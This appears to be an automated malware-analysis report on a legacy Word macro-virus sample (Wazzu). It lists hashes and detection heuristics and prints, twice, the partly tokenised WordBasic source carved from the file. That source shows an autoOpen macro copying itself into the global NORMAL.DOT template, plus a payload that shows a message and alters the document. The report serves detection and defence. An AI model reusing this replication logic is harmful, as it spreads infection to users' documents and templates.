Win.Trojan.Wazzu-22 Office (OLE) malware analysis — malicious · 720e06dd066f8260

MALICIOUS

Office (OLE)

6.0 KB First seen: 2012-06-14

MD5: b774d9db23ac9d74fc0739c0f10506d7 SHA-1: 00b5d94b9ec5af6e27596a822a85f2b2392262c1 SHA-256: 720e06dd066f82603be7da91e529018230b855273d0e04c73c316b9c4a4e3953

102 Risk Score

Malware Insights

Win.Trojan.Wazzu-22 · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic

The file is identified as a legacy WordBasic macro virus, specifically flagged as a 'RSN MACRO VIRUS Goat file'. ClamAV detection confirms it as Win.Trojan.Wazzu-22. The presence of legacy macro markers and the explicit mention of 'RSN MACRO VIRUS' in the document body strongly suggest the file's purpose is to execute malicious macro code.

Heuristics 3

ClamAV: Win.Trojan.Wazzu-22 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Win.Trojan.Wazzu-22
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS

OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE

The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 413 bytes

Filename	Kind	Source	Size
`wordbasic_macros.txt`	wordbasic-macro	analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source)	413 bytes
SHA-256: `c37674c880cb268d1f4163bbccb77e53deb71d9228e09e2791cda7b0d0365183`
Preview script First 1,000 lines of the extracted script MAIN , - * errC @cmd0056 zut @cmd0056 zut fM$ = zut = "\" = zut @cmd0700 ":autoOpen" glM$ = "Global:autoOpen" MF$ = @cmd80af @cmd8009 @cmd818e @cmd80b8 0 , 10 MF$ = "NORMAL.DOT" @cmd80c2 glM$ , fM$ @cmd0054 = 1 @cmd80c2 fM$ , glM$ Pay * bye , - * 0 Pay @cmd802b "Wazzu n'est pas mort." , "car il bande encore" , 48 Merde @cmd0056 zut @cmd004e zut wordNum = @cmd8002 @cmd800e @cmd8006 zut @cmdc010 @cmdc003 wordNum

SHA-256: c37674c880cb268d1f4163bbccb77e53deb71d9228e09e2791cda7b0d0365183

Preview script

First 1,000 lines of the extracted script

MAIN
, - * errC
@cmd0056
zut @cmd0056
zut
fM$ = zut = "\" = zut @cmd0700 ":autoOpen"
glM$ = "Global:autoOpen"
MF$ = @cmd80af @cmd8009 @cmd818e @cmd80b8 0 , 10
MF$ = "NORMAL.DOT"
@cmd80c2 glM$ , fM$
@cmd0054 = 1
@cmd80c2 fM$ , glM$
Pay
* bye
, - * 0
Pay
@cmd802b "Wazzu n'est pas mort." , "car il bande encore" , 48
Merde
@cmd0056
zut @cmd004e
zut
wordNum = @cmd8002 @cmd800e @cmd8006 zut
@cmdc010
@cmdc003 wordNum

Open this report in the interactive analyzer, or submit your own file for analysis.